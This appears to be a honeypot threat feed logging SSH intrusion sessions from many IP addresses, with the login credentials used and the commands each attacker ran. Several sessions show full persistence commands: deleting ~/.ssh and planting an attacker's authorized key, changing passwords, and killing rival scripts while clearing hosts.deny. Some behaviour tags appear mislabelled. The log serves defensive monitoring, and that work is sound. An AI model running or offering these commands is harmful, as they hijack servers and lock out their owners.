Ran uname 64x across 64 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×74

🎭 vapor_rogue_root (91.92.40.44) — Varna, Bulgaria · 27 sessions · 27 cmds

2026-06-15 07:39 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×27

🎭 arctic_tulip_root (192.109.200.78) — Eygelshoven, The Netherlands · 101 sessions · 101 cmds

2026-05-12 14:21 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 105x across 105 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×101

🎭 venomous_specter_root (212.154.234.9) — Pavlodar, Kazakhstan · 1 session · 20 cmds

2026-06-15 05:49 EDT · as ubuntu/ubuntu

cd ~; chattr -ia .ssh → cd ~ && rm -rf .ssh && mkdir .ssh → echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" → echo "ubuntu\nMR9qRSkKiTrH\nMR9qRS

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "ubuntu\nMR9qRSkKiTrH\nMR9qRSkKiTrH"|passwd|bash

$ Enter new UNIX password:

$ echo "ubuntu\nMR9qRSkKiTrH\nMR9qRSkKiTrH\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rogue_mekong_sol (36.50.135.229) — Ho Chi Minh City, Vietnam · 1 session · 2 cmds

2026-06-15 03:58 EDT · as oracle/Pa$$w0rd

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 ashen_dragon_root_155 (120.48.163.155) — Beijing, China · 1 session · 1 cmd

2026-06-15 03:28 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 brazen_rendang_root (36.74.236.62) — Jember, Indonesia · 2 sessions · 4 cmds

2026-06-15 02:04 EDT · as oracle/12345678, oracle/oracle@2026

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

🎭 weary_rogue_root (91.92.40.25) — Varna, Bulgaria · 27 sessions · 27 cmds

2026-06-14 21:11 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×27

🎭 midnight_komodo_crypto (103.158.13.181) — Bojonegoro, Indonesia · 1 session · 1 cmd

2026-06-14 21:25 EDT · as bitcoin/bitcoin

privilege check

$ whoami

↳ privilege check

🎭 silent_volcano_crypto (103.158.13.89) — Bojonegoro, Indonesia · 1 session · 1 cmd

2026-06-14 20:53 EDT · as bitcoin/bitcoin

privilege check

$ whoami

↳ privilege check

🎭 arctic_monsoon_root (103.24.63.85) — Mumbai, India · 10 sessions · 10 cmds

2026-06-14 19:35 EDT · as admin/admin123, docker/docker123, mysql/mysql

Ran uname 8x across 8 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×10

🎭 weary_harbor_root (118.193.34.5) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-06-14 20:02 EDT · as oracle/Oracle@123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 feral_hawker_root (8.219.190.201) — Singapore, Singapore · 12 sessions · 12 cmds

2026-06-14 10:30 EDT · as admin/admin, admin/admin123, deploy/deploy

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×12

🎭 murky_panda_root (117.50.177.222) — Beijing, China · 23 sessions · 23 cmds

2026-05-19 23:05 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 14x across 14 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×23

🎭 obsidian_sphinx_root (197.199.224.52) — Al Qāhirah al Jadīdah, Egypt · 1 session · 2 cmds

2026-06-14 07:32 EDT · as oracle/oracle123#

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 sneaky_dragon_root (101.126.54.66) — Chaowai, China · 1 session · 20 cmds

2026-06-14 07:13 EDT · as oracle/0

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "0\nw1ayoNZhIJUW\nw1ayoNZhIJUW"|passwd|bash

$ Enter new UNIX password:

$ echo "0\nw1ayoNZhIJUW\nw1ayoNZhIJUW\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 crimson_paella_root (196.196.150.4) — Valencia, Spain · 1 session · 2 cmds

2026-06-14 06:58 EDT · as oracle/Oracle@2026

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 restless_burger_root_217 (144.126.129.217) — St Louis, United States · 1 session · 2 cmds

2026-06-14 06:22 EDT · as root/toor

hostname discovery → free

$ hostname

↳ hostname discovery

$ free -m | awk '/Mem:/ {print $2}'

🎭 derelict_star_root_194 (34.123.134.194) — Council Bluffs, United States · 1 session · 2 cmds

2026-06-14 00:56 EDT · as oracle/oracle123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 brisk_lucha_root (187.140.79.156) — Celaya, Mexico · 1 session · 2 cmds

2026-06-13 21:44 EDT · as oracle/Oracle123!

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 sullen_jade_root (121.229.9.97) — Nanjing, China · 1 session · 2 cmds

2026-06-13 16:46 EDT · as oracle/asd123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 feral_padthai_root (147.50.227.79) — Huai Khwang, Thailand · 1 session · 2 cmds

2026-06-13 16:35 EDT · as oracle/asd123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 aloof_strudel_root_24 (167.71.54.24) — Frankfurt am Main, Germany · 2 sessions · 22 cmds

2026-06-13 15:31 EDT · as mysql/mysql, oracle/oracle12

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "mysql\npT5GTD4AdxeV\npT5GTD4AdxeV"|passwd|bash

$ Enter new UNIX password:

$ echo "mysql\npT5GTD4AdxeV\npT5GTD4AdxeV\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 ashen_barbie_root (103.208.219.38) — Surry Hills, Australia · 1 session · 19 cmds

2026-06-13 15:30 EDT · as root/admin

chattr -ia .ssh → rm -rf .ssh → mkdir .ssh → echo "ssh-rsa..." → cat /proc/cpuinfo | grep name | wc -l → echo "root:1qZObeeFmpR4"|chpasswd|bash → rm -rf /tmp/secure.sh → pkill -9 secure.sh → pkill -9 auth.sh → echo >

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:1qZObeeFmpR4"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 feral_liberty_root (20.124.84.235) — Boydton, United States · 2 sessions · 22 cmds

2026-06-13 14:58 EDT · as mysql/mysql, oracle/oracle12

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "mysql\nTIlvDC4GhwCL\nTIlvDC4GhwCL"|passwd|bash

$ Enter new UNIX password:

$ echo "mysql\nTIlvDC4GhwCL\nTIlvDC4GhwCL\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 nocturnal_vespa_root (5.182.34.211) — Roma, Italy · 1 session · 2 cmds

2026-06-13 13:02 EDT · as root/password

hostname discovery → free

$ hostname

↳ hostname discovery

$ free -m | awk '/^Mem:/ {print $2}'

🎭 sullen_nomad_root_51 (185.113.139.51) — Riga, Latvia · 1 session · 2 cmds

2026-06-13 10:39 EDT · as oracle/Oracle@2024

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 nocturnal_kopi_root (152.42.202.161) — Singapore, Singapore · 4 sessions · 4 cmds

2026-06-13 02:38 EDT · as root/password, root/root

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ which ls 2>/dev/null || echo 'missing:ls'; echo '---SEP---'; which ps 2>/dev/null || echo 'missing:ps'; echo '---SEP---'; which cat 2>/dev/null || echo 'missing:cat'; echo '---SEP---'; which netstat 2>/dev/null || echo 'missing:netstat'; echo '---SEP---'; uname -m 2>/dev/null | tr -d '\n\r' || echo 'unknown'; echo '---SEP---'; cat /etc/os-release 2>/dev/null | grep '^NAME=' | cut -d'=' -f2 | tr -d '"' | tr -d '\n\r' || echo 'Linux'; echo '---SEP---'; hostname 2>/dev/null | tr -d '\n\r' || echo 'unknown'; echo '---SEP---'; curl -s --connect-timeout 2 ipinfo.io/country 2>/dev/null | tr -d '\n\r' || echo 'N/A'; echo '---SEP---'; nproc 2>/dev/null | tr -d '\n\r' || echo '1'; echo '---SEP---'; free -h 2>/dev/null | awk '/^Mem:/ {print $2}' | tr -d '\n\r' || echo 'N/A'; echo '---SEP---'; df -h / 2>/dev/null | awk 'NR==2{print $2}' | tr -d '\n\r' || echo 'N/A'; echo '---END---' ×4

↳ payload download

🎭 rabid_panda_root (122.115.224.56) — Beijing, China · 1 session · 20 cmds

2026-06-13 03:57 EDT · as deploy/deploy123

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "deploy123\nYpUv2j0SkqYa\nYpUv2j0SkqYa"|passwd|bash

$ Enter new UNIX password:

$ echo "deploy123\nYpUv2j0SkqYa\nYpUv2j0SkqYa\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 lurking_lotus_root (160.250.5.104) — Hưng Thành, Vietnam · 32 sessions · 32 cmds

2026-06-12 22:53 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×32

🎭 unhinged_carnival_root (191.8.216.111) — São Paulo, Brazil · 1 session · 2 cmds

2026-06-13 03:05 EDT · as oracle/Oracle123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 lurking_shogun_root_62 (35.72.5.62) — Tokyo, Japan · 2 sessions · 2 cmds

2026-06-13 02:41 EDT · as root/password, root/root

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ which ls 2>/dev/null || echo 'missing:ls'; echo '---SEP---'; which ps 2>/dev/null || echo 'missing:ps'; echo '---SEP---'; which cat 2>/dev/null || echo 'missing:cat'; echo '---SEP---'; which netstat 2>/dev/null || echo 'missing:netstat'; echo '---SEP---'; uname -m 2>/dev/null | tr -d '\n\r' || echo 'unknown'; echo '---SEP---'; cat /etc/os-release 2>/dev/null | grep '^NAME=' | cut -d'=' -f2 | tr -d '"' | tr -d '\n\r' || echo 'Linux'; echo '---SEP---'; hostname 2>/dev/null | tr -d '\n\r' || echo 'unknown'; echo '---SEP---'; curl -s --connect-timeout 2 ipinfo.io/country 2>/dev/null | tr -d '\n\r' || echo 'N/A'; echo '---SEP---'; nproc 2>/dev/null | tr -d '\n\r' || echo '1'; echo '---SEP---'; free -h 2>/dev/null | awk '/^Mem:/ {print $2}' | tr -d '\n\r' || echo 'N/A'; echo '---SEP---'; df -h / 2>/dev/null | awk 'NR==2{print $2}' | tr -d '\n\r' || echo 'N/A'; echo '---END---' ×2

↳ payload download

